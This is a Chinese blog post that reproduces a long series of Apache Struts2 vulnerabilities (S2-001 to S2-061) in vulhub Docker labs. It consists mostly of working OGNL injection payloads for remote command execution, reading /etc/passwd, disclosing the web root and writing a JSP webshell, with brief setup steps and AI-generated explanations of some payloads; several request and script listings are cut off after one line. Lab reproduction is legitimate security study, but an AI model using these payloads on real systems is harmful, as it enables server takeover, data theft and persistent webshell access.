vulhubStruts2 漏洞复现
有关Struts2的介绍可以看我的另一篇博客
环境准备
- docker
- docker-compose
- vulhub-master
进入安装vulhub-master的文件夹,进入Struts2,再进入具体漏洞的文件目录。
执行启动
1 | docker-compose build |
关闭docker环境
1 | docker-compose down -v |
一键进入sturts2目录
1 | cd /vulhub/vulhub-master/struts2 |
S2-001
先执行一下
1 | %{1+1} |
发现加法运算成功执行了,证明漏洞存在
看别人的poc
Poc:
1 | %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} |
看不懂,用ai分析一下
%{ ... }
: 这是一个字符串表达式的开始和结束标记,表明在这个字符串中包含了一些特殊的代码。"tomcatBinDir{"
: 这是字符串的一部分,它包含了文本 “tomcatBinDir{“。+
: 这是字符串拼接操作符,用于将不同的字符串连接在一起。@java.lang.System@getProperty("user.dir")
: 这是一段Java代码,用于获取Java系统属性 “user.dir” 的值,该属性表示当前工作目录。"}
“: 这是字符串的一部分,它包含了文本 “}”。
综合起来,这段代码的目的似乎是构建一个字符串,其中包含了 “tomcatBinDir{“、当前工作目录(由Java系统属性 “user.dir” 提供)和 “}”,并将它们拼接在一起。最终的字符串可能看起来像这样:
1 | tomcatBinDir{/path/to/current/directory} |
java.lang.System
是Java标准库中的一个类,它包含了与系统相关的一些方法和属性。getProperty("user.dir")
是调用了java.lang.System
类的getProperty
方法,该方法用于获取系统属性的值。在这里,它获取了名为 “user.dir” 的系统属性,它表示当前的工作目录。
看到命令成功执行了
.构造获取web路径poc:
Poc:
1 | %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} |
执行任意命令时只需要,将上面poc里whoami的命令替换
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
s2-005
构造poc
1 | (%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 |
查看数据连接状态
1 | docker ps |
进入容器
1 | docker exec -it 000e62e5e780 /bin/bash #000e62e5e780为容器的NAME |
poc2
1 | ?%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29%2B%27 |
url decode得到
1 | '+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))+' |
gpt分析
?
是查询参数的起始符号,表示这是一个URL查询字符串的一部分。%27
表示URL编码的单引号'
,用于在字符串中引用字符。#memberAccess["allowStaticMethodAccess"]=true
试图将Struts2的#memberAccess
对象中的allowStaticMethodAccess
属性设置为true
,以允许对静态方法的访问。#context["xwork.MethodAccessor.denyMethodExecution"]=false
试图将Struts2的#context
对象中的xwork.MethodAccessor.denyMethodExecution
属性设置为false
,以取消对方法执行的拒绝。@org.apache.commons.io.IOUtils@toString(...)
这部分代码试图使用Apache Commons IO库中的IOUtils
类执行某些操作。@java.lang.Runtime@getRuntime().exec('id').getInputStream()
通过Runtime
类执行了一个操作系统命令id
,然后尝试获取其输出流。
s2-007
命令执行
poc
1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + ' |
s2-008
属于比较鸡肋的漏洞
s2-009
poc1
1 | /ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true |
poc2
1 | /ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] |
由于该POC没有回显,所以调用的是touch /tmp/success
命令,查看/tmp目录发现已经成功
下载得到
s2-012
poc
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
s2-013
poc
1 | link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D |
s2-015
poc
1 | ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q} |
s2-016
执行命令:
1 | redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} |
获取web目录:
1 | redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()} |
写入webshell:
1 | redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()} |
s2-032
执行id命令
1 | http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id |
s2-045
直接发送如下数据包,可见233*233
已成功执行:
1 | POST / HTTP/1.1 |
s2-046
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00
截断。
由于需要发送畸形数据包,我们简单使用原生socket编写payload:
1 | import socket |
s2-052
启动环境后,访问http://your-ip:8080/orders.xhtml
即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
所以,最后发送的数据包为:
1 | POST /orders/3/edit HTTP/1.1 |
s2-053
paylaod:
1 | %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} |
s2-057
测试OGNL表达式${233*233}
:
1 | http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action |
可见233*233的结果已返回在Location头中。
使用S2-057原理分析与复现过程(POC)中给出的执行任意命令的OGNL表达式:
1 | ${ |
s2-059
《OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc,利用这个poc可以达到执行系统命令。
通过如下Python脚本复现漏洞:
1 | import requests |
执行poc之后,进入容器发现touch /tmp/success
已成功执行
s2-061
发送如下数据包,即可执行id
命令:
1 | POST /index.action HTTP/1.1 |
可见,id
命令返回结果将直接显示在页面中: